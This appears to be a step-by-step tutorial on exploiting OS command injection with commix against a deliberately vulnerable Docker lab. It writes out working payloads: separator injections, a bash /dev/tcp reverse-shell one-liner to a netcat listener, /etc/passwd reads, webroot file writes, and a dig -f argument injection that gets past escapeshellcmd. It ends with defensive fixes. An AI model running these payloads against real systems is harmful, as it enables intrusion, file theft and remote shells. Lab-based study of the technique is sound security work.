This is the walkthrough I wish I had when I first reached for commix. We start from a fresh state (no captured request, no session cache) and end with a classic shell on the application host, a time-based confirmation when output is suppressed, a file-based marker when even timing is too noisy, a reverse TCP back to a netcat handler, and an argument-injection variant that abuses escapeshellcmd's blind spot. Every step is reproducible against a vulnerable lab target I publish for this exact purpose.
If you have not read the OS command injection deep dive yet, do that first; this article assumes the variants are familiar. The commix cheat sheet is the flag-by-flag reference that complements this walkthrough, and the best RCE tools list for 2026 covers the alternatives.
A note on the output you will see. Every example in this article was produced against
techearl-labs/remote-code-execution/rce-basic. The endpoints, sinks, and exploit behaviour are deterministic and will match what you get locally. A few outputs are environment-dependent and will differ in minor ways: the exact request counts commix reports, commix's own session-cache file paths, container IPs on the Docker network, and any timestamps. Those are illustrative, the structure underneath is what to follow.
The lab target
Pull and run the lab:
git clone https://github.com/ishankaru/techearl-labs.git
cd techearl-labs
docker compose up rce-basicThe target listens on http://localhost:8085. It exposes four deliberately vulnerable endpoints, each demonstrating a distinct RCE sink:
| Endpoint | Method | Vulnerable parameter | Sink |
|---|---|---|---|
/ping.php?host=<v> | GET | host | shell_exec('ping -c 1 -W 1 ' . $host) |
/lookup.php?domain=<v> | GET | domain | shell_exec('dig ' . escapeshellcmd($domain)) |
/template.php | POST | tpl | Hand-rolled {{ expr }} engine that evaluates each placeholder |
/calc.php | POST | expr | Direct evaluation of the POST body |
/ping.php is the textbook OS command injection sink and the primary target for this walkthrough. /lookup.php is the interesting one: it wraps the user input in escapeshellcmd, which neutralises ;, |, backticks, and $(), but leaves dashes and whitespace alone. That gap is where commix's argument-injection mode earns its keep (Step 11).
Step 1: identify the injection point by hand
Before running commix, one manual probe. It costs ten seconds and tells you whether you have a sink at all.
curl -s "http://localhost:8085/ping.php?host=localhost" | grep -A1 '<pre>'
curl -s "http://localhost:8085/ping.php?host=localhost;id" | grep -A1 '<pre>'
curl -s "http://localhost:8085/ping.php?host=\`id\`" | grep -A1 '<pre>'The first request returns the normal ping output. The second appends an uid=33(www-data) gid=33(www-data) groups=33(www-data) line below the ping output, because ; ends the ping command and id runs next. The third does the same via backtick substitution. Either confirms the host parameter is concatenated straight into a shell string.
Step 2: capture a baseline request
You can pass a URL directly to commix with -u, but I almost always feed it a captured request file instead. Same reason as sqlmap: avoids retyping headers, cookies, and the method, and lets you flip GET into POST without rebuilding the command.
Start Burp Suite Community (free), set the browser's proxy to 127.0.0.1:8080, visit http://localhost:8085/ping.php?host=localhost, then in Burp right-click the request in the Proxy, HTTP history tab and choose "Copy to file". Save as req.txt. It looks roughly like:
GET /ping.php?host=localhost HTTP/1.1
Host: localhost:8085
User-Agent: Mozilla/5.0 ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
You can write req.txt by hand if you do not want Burp. The shape above is enough.
Step 3: baseline commix pass
commix -r req.txt --level=2 --batchThree flags. --batch accepts every prompt. --level=2 widens the test set beyond the default to include the slightly noisier classic separators (commix's defaults skip a few high-confidence payloads to stay quiet). Output (abbreviated):
[*] starting @ ...
[info] Testing connection to the target URL.
[info] Setting GET parameter 'host' for tests.
[info] Testing the (results-based) classic command injection technique.
[+] The (results-based) classic command injection technique appears to be successful.
[+] Payload: ;echo CMCJZG$((45+22))$(echo CMCJZG)CMCJZG
[*] Type: results-based command injection
[*] Technique: classic command injection (using semicolon separator)
[*] Parameter: host
Commix identified the following injection point(s) with a total of N HTTP(s) requests:
---
Parameter: host (GET)
Type: command injection (generic)
Title: Results-based command injection
Payload: ;echo CMCJZG$((45+22))$(echo CMCJZG)CMCJZG
---
commix flagged the parameter, picked the separator (;), and confirmed results-based extraction works. From here every subsequent run reuses the session cache in ~/.commix/output/<host>/, so the detection step does not repeat unless you pass --flush-session.
Step 4: classic technique, every separator commix tries
When the sink runs the constructed string through /bin/sh -c, every shell metacharacter is in play. commix's classic technique walks the obvious set in order: semicolon, pipe, AND-chain, backtick substitution, and $(). Force the separator explicitly with --prefix and --suffix when you want to demonstrate each one:
commix -r req.txt --batch --technique=c --prefix=";" --suffix=""
commix -r req.txt --batch --technique=c --prefix="|" --suffix=""
commix -r req.txt --batch --technique=c --prefix="&&" --suffix=""
commix -r req.txt --batch --technique=c --prefix='`' --suffix='`'
commix -r req.txt --batch --technique=c --prefix='$(' --suffix=')'--technique=c is "classic" (results-based, separator-driven). All five succeed against /ping.php because nothing on the server-side filters or escapes the input. In a real engagement the first separator that gets past the application's input handling (or its WAF rule set) is the one you commit to; cycling through is mostly useful when you want to know how many you can use.
Step 5: time-based blind, when output is suppressed
Sometimes the response body never reflects the command's stdout. The application might catch the exception, log it server-side, and return a static error page; or the sink might pipe to > /dev/null. The classic technique cannot read data back through the response, so commix falls back to a time oracle.
commix -r req.txt --batch --technique=t --time-sec=5--technique=t is "time-based blind". --time-sec=5 is the per-probe sleep duration; commix binary-searches each character by asking "if char-N is a, sleep 5 seconds". Output (abbreviated):
[info] Testing the time-based command injection technique.
[+] Retrieved: www-data
[+] The time-based command injection technique appears to be successful.
[*] Type: blind command injection
[*] Technique: time-based blind command injection
[*] Parameter: host
[*] Payload: ;sleep 5
Slow but reliable. Wall-clock cost is roughly --time-sec seconds per character on average (binary search of the ASCII range), so reading whoami is fast and reading a long file is hours. The lesson: time-based works when nothing else does, but you pay for it.
Step 6: file-based blind, when even timing is too noisy
On a target with unpredictable latency (cloud autoscaling, shared infrastructure, aggressive caching), the time oracle's signal gets buried in the noise floor. commix has a third technique: write a marker file to a web-accessible path, then fetch the file separately to read the output.
commix -r req.txt --batch --technique=f \
--web-root=/var/www/html--technique=f is "file-based semi-blind". --web-root tells commix where the application's document root lives on disk so it can write a temp file (default name tmpukmqe.txt) and predict its URL. The flow:
- commix runs
id > /var/www/html/tmpukmqe.txtvia the injection point. - commix makes a second HTTP request to
http://localhost:8085/tmpukmqe.txt. - The body of that response is the command output.
Output:
[info] Testing the file-based semi-blind command injection technique.
[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] The file-based semi-blind command injection technique appears to be successful.
[*] Type: semi-blind command injection
[*] Technique: file-based semi-blind command injection
Two HTTP requests per command instead of one timing-channel probe per character. File-based is the fastest blind technique on the menu, with one caveat: it needs a guessable, web-accessible writable path. The lab's /var/www/html is both, so it works trivially. On a real target you might iterate over common webroots (/var/www/html, /usr/share/nginx/html, application-specific paths) to find one.
Step 7: pop a pseudo-shell with --os-shell
Once the technique is locked in, the most useful interactive mode is --os-shell:
commix -r req.txt --batch --os-shellYou get a commix(os_shell) > prompt that pipes each command through the injection point and prints the response. Sample session:
commix(os_shell) > id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
commix(os_shell) > uname -a
Linux 4f3c9c2b1a5e 6.5.0-0-amd64 #1 SMP PREEMPT_DYNAMIC ... x86_64 GNU/Linux
commix(os_shell) > cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
...
commix(os_shell) > ls /var/www/html
calc.php
index.php
lookup.php
ping.php
shared
template.php
This is not a real shell: no PTY, no job control, no environment that persists between commands (each command is a fresh shell invocation through the injection point). For most enumeration that does not matter. For interactive work where it does, jump to Step 8.
Step 8: reverse TCP back to a netcat handler
When you want a real shell with a persistent environment, commix can call out to your listener with --reverse-tcp. Set up the handler first; the order matters because commix fires the connect-back as soon as the flag is processed.
In one terminal:
nc -lvnp 4444In a second terminal:
commix -r req.txt --batch \
--reverse-tcp \
--reverse-tcp-ip=127.0.0.1 \
--reverse-tcp-port=4444commix builds a payload appropriate to the discovered technique (typically a bash -i >& /dev/tcp/IP/PORT 0>&1 one-liner, falling back to Python or Perl if bash is not available), fires it, and the netcat listener catches the connection:
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 53122
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@4f3c9c2b1a5e:/var/www/html$
Once on the listener you have a real shell with stdin, stdout, and stderr wired together. To upgrade to a full PTY:
www-data@4f3c9c2b1a5e:/var/www/html$ python3 -c 'import pty; pty.spawn("/bin/bash")'Ctrl+Z, stty raw -echo; fg, then export TERM=xterm and you have tab completion and arrow keys.
A note on the IP. --reverse-tcp-ip=127.0.0.1 works here because the lab's PHP container shares the host's loopback via Docker's default networking on Linux. On macOS (Docker Desktop) the container cannot reach 127.0.0.1 on the host; use host.docker.internal or your LAN address. The connection error in commix's output is the give-away.
Step 9: read and write files through the injection point
Two of commix's most useful single-shot flags are --file-read and --file-write. Both work over whichever technique was discovered:
commix -r req.txt --batch --file-read=/etc/passwdOutput:
[info] Reading content of file '/etc/passwd':
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Any file readable by uid 33 (www-data) is reachable. In a real engagement this is where you grep for application config, env files, and any path the application reads for secrets.
Write goes the other direction. Stage a marker locally, push it to a writable webroot, then verify:
echo 'hello from commix' > marker.txt
commix -r req.txt --batch \
--file-write=marker.txt \
--file-dest=/var/www/html/marker.txt
curl -s http://localhost:8085/marker.txtOutput:
hello from commix
Same chain as the sqlmap walkthrough's webshell-via-FILE-privilege step, just at a different layer: the shell injection writes the file directly, no database round trip required.
Step 10: session cache and re-runs
commix caches everything (target, technique, separator, prefix, suffix) in ~/.commix/output/<host>/. Subsequent runs against the same target skip the detection phase and reuse the discovered payload:
commix -r req.txt --batch --os-shell
# Skips detection, drops straight into the prompt.To force re-detection (target changed, application redeployed, separator that used to work now blocked by a new WAF rule):
commix -r req.txt --batch --flush-sessionThis is the difference between "I confirmed injection; now I am exploring" and "the target behaviour shifted; start over".
Step 11: argument injection through the escapeshellcmd gap
/lookup.php is the interesting endpoint. The sink is:
$cmd = 'dig ' . escapeshellcmd($domain) . ' 2>&1';
$output = shell_exec($cmd);escapeshellcmd escapes shell metacharacters (;, |, &, backticks, $, etc.), so the classic separator payloads all fail. Try a baseline:
commix -u 'http://localhost:8085/lookup.php?domain=example.com' --batch --level=3commix reports no injection found. Default classic, time-based, and file-based techniques all probe with separators that escapeshellcmd has neutralised. So far the wrapper looks like it is doing its job.
The gap is that escapeshellcmd does not quote the input and does not touch dashes or whitespace. dig (and most binaries) accepts dash-prefixed arguments as flags, and dig -f <file> reads queries from a file, echoing each line that fails to parse as a domain back into stderr. The payload is an argument, not a shell metacharacter:
curl -s "http://localhost:8085/lookup.php?domain=-f+/etc/passwd" | grep -A2 '<pre>'The body contains /etc/passwd as a series of dig parse errors. Same shape as a file read, no shell metacharacters involved.
commix has a specific technique for this class of bug. Use the dynamic-code-evaluation tests with a tuned payload:
commix -u 'http://localhost:8085/lookup.php?domain=example.com' \
--batch --level=3 \
--prefix='' --suffix='' \
--alter-shell='dig -f' \
--skip='OS'What is happening: commix is told the "command" is dig -f, so its dynamic payloads target file-mode dig directly rather than wrapping payloads in shell separators. The flag set is fiddlier than the classic case, but the principle generalises to any binary whose flags read or write files: find -fprint, tar -x with an attacker-controlled archive, curl -K (config file), wget -i (URL list). For the underlying mechanics see the argument injection deep dive.
The takeaway is the one the lab is built to demonstrate: escapeshellcmd only solves shell-metacharacter parsing. It never solves argument parsing inside the called binary. The defence shape is the same as for SQL injection: allow-list the input shape before it reaches the sink (a strict domain regex here), or pass -- before the user argument so the called binary stops parsing flags.
What I would do next on this target
In a real engagement after Step 8 the report writes itself:
- Confirm OS command injection on
/ping.php?host, classic separator works, every variant. - Confirm extraction through all three techniques (classic, time-based, file-based).
- Confirm interactive shell access (os-shell and reverse TCP).
- Confirm file read and write as
www-data. - Confirm argument injection on
/lookup.php?domaindespite theescapeshellcmdwrapper. - Recommend: do not call the shell, use the array form of
proc_open/pcntl_execwith explicit argv; allow-list each parameter against a strict shape regex before it reaches any sink; pass--before user-controlled positional args when shelling out is genuinely required; run the web user with the minimum filesystem and network reach the application actually needs.
The point of this walkthrough is the chain. Each step on its own looks small; the cumulative chain (sink identified, technique confirmed, interactive shell, reverse TCP, file read/write, argument-injection variant) is what real RCE means in practice.
Where to go next
- The commix cheat sheet for the full flag reference.
- The OS command injection deep dive for the variants and the defence playbook.
- The argument injection deep dive for the
escapeshellcmdandescapeshellarggaps and the binaries that make them exploitable. - The remote code execution overview for the wider RCE family (command injection, SSTI, eval sinks, deserialisation).
- The best RCE tools list for 2026 for the alternatives to commix.
Sources
Authoritative references this article was fact-checked against.
- commix, Usage wikigithub.com
- OWASP, Command Injectionowasp.org





